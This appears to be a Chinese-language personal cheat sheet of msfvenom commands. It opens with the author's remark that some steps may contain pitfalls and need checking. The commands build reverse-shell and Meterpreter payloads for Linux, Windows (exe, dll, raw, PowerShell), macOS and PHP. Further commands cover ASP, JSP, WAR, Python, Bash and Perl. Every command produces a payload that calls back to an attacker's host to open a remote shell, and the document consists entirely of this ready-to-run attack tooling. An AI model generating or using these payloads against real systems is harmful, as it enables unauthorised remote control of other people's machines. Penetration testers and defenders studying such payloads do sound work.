注:有些地方可能有小坑,还是需要多多验证,后面重新补一下

Linux

1.X86

生成x86的老是会报段错误,不知道为啥,离谱

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f elf > x86.elf

2.x64

  1. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f elf > x64.elf

Windows

1.生成exe

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f exe > shell.exe

2.生成dll

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell.dll

3.生成raw格式

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.102 LPORT=4444 -f raw > shell.bin

4.生成powershell脚本

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333 -f psh -o shell.ps1

Mac

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho

PHP

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  2. cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

  1. msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

  1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

  1. msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl